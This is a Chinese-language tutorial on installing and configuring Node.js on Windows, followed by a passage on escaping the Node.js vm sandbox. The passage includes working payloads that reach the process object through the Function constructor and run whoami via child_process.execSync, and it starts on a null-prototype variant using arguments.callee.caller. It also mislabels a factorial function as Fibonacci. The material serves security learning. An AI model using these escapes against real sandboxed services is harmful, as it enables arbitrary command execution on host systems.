目录
一、安装nodejs
1.安装包
js下载网站:下载 | Node.js 中文网
2.安装过程
点击安装包,可以安装至D盘,后面也是一直点击Next,然后完成安装 。
3.验证安装
在键盘按下【win+R】键,输入cmd,然后回车,打开命令行界面,分别输入如下命令,显示版本号即安装成功。
显示安装的nodejs版本
node -v
显示安装的npm版本
npm -v
4.创建全模块文件
将全模块所在路径和缓存路径放在我node.js安装的文件夹中,则在我安装的文件夹nodejs下创建两个文件夹【node_global】及【node_cache】如下图:
创建完两个空文件夹之后,跟之前操作一样,在键盘按下【win+R】键,输入cmd,然后回车,打开命令行界面,输入下面命令,如图。(记得记得一定要用管理员身份运行,否则后面是无法安装express模块的,会一直出错!!!)
npm config set prefix "D:\nodejs\node_global"
npm config set cache "D:\nodejs\node_cache"(自己的nodejs安装路径,每个人不同)
prefix = 创建的node_global文件夹所在路径
cache = 创建的node_cache文件夹所在路径
5.环境变量的配置
将【用户变量】下的【Path】修改为【D:\Nodejs\node_global】,之后点击确定。
在【系统变量】下新建【NODE_PATH】【D:\Nodejs\node_global\node_modules】
在【系统变量】下的【Path】新建添加node全局文件夹【D:\Nodejs\node_global】,之后点击确定。
经过上面的步骤,nodejs下载的模块就会自动下载到我们自定义的目录,接下来我们测试一下。输入下面的命令:
-g是全局安装的意思,不加 -g 就是默认下载到当前目录
npm install express -g
注:若执行命令npm install express -g 出现报错信息
是由于权限的原因,右击nodejs文件夹->属性->安全,点击编辑,将所有权限都✔即可。
二、如何使用VScode调试JavaScript代码
在图中红圈位置文件框内输入cmd进入命令提示行
输入node 文件名.js,就可以执行JavaScript代码并输出结果。
三、Nodejs沙箱绕过
vm模块是Node.JS内置的一个模块。理论上不能叫沙箱,他只是Node.JS提供给使用者的一个隔离环境。
1.举例:执行m+n表达式
const vm = require('vm');
const script = `m + n`;
#反引号可以执行命令。
const sandbox = { m: 1, n: 2 };
#给沙箱中传入对象
const context = new vm.createContext(sandbox);
#创建沙箱上下文环境,并将沙箱对象传递进来
const res = vm.runInContext(script, context);
#沙箱内部的执行
console.log(res)
执行结果:
但这个隔离环境是很容易绕过的。这个环境中上下文里有三个对象:
this 指向传给vm.createContext的那个对象 ,也就是sandbox,但此时它在沙箱的外部,这个this就是等于指向了window全局
m 等于数字1
n 等于数字2
Function是构造所有函数的祖先,可以创造自己向自定义的函数。
Function('return process'), 这里的Function可以拿到process这个模块,拿到模块以后就可以进行如下的调用。
(constructor本身就指向构造函数)
我们可以使用外部传入的对象,比如this来引入当前上下文里没有的模块,进而绕过这个隔离环境。比如:
const process = this.toString.constructor('return process')() #通过指向sandbox(全局)的this拿到了process模块,然后通过this.toString拿到了toString函数,最后通过constructor拿到了所有函数的构造函数Function,然后通过return process拿到process模块。 process.mainModule.require('child_process').execSync('whoami').toString() #拿到process模块后拿到子模块child_process,最后调用whoami命令执行的方法。 #execSync同步执行
第一行this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,构造器中可以传入字符串类型的代码。然后在执行,即可获得process对象。
第二行,利用前面获取的process对象既可以干任何事。
Q1:为什么我们不直接使用{}.toString.constructor('return process')(),却要使用this呢?
A:这两个的一个重要区别就是,{}是在沙盒内的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的对象即使使用这个方法,也获取不到process,因为它本身就没有process。
沙箱逃逸要将外部的元素对象引入进来,在沙箱内部拿到外部的变量方法异常等。
Q2:m和n也是沙盒外的对象,为什么也不能用m.toString.constructor('return process')()呢?
A:因为primitive types,数字、字符串、布尔等这些都是primitive types,他们的传递其实传递的是值而不是引用,所以在沙盒内虽然你也是使用的m,但是这个m和外部那个m已经不是一个m了,所以也是无法利用的,但是,如果修改下context:{m: [], n: {}, x: /regexp/},这样m、n、x就都可以利用了。改写成空对象空数组或者正则表达式,此时外部就是一个类型引用,里面去引用的时候引用的就是那串内存地址,内外部元素是同一个可以调用内存地址(定义成包装类型而不是原始类型) 。
沙箱绕过的核心原理了:只要我们能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱。
const vm = require('vm');
const script = `
const process = x.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = {m:[], n: {}, x: /regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res)
执行结果:
①使用this,this指向sandbox,m、n可以为值(原始类型)
②利用引用类型,定义为包装类型(内存地址的调用)
2. 上下文都不存在this
(1)object.create方法
如果想要生成一个不继承任何属性(比如没有toString()
和valueOf()
方法)的对象,可以将Object.create()
的参数设为null
。
var obj = Object.create(null); obj.valueOf() // TypeError: Object [object Object] has no method 'valueOf'#是一个纯净的空对象,没有原型链,原型链指向null,也就不存在this环境
上面代码中,对象obj
的原型是null
,它就不具备一些定义在Object.prototype
对象上面的属性,比如valueOf()
方法。
(2)实例
const vm = require('vm');
const script = `...`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res)
引入斐波那契数列:
const factorial = function(n){
if ( n === 0 | n === 1){
return 1;
} else {
return n * arguments.callee(n-1)
}
};
console.log(factorial(5))
arguments.callee可以指向调用函数本身,arguments.caller可以理解为函数的父类(谁调用了你),arguments.callee.caller是某个调用你的函数本身。
再回到实例二:
js中某个对象与字符串相加(拼接)就会变成字符串,会自动调用它的toString方法。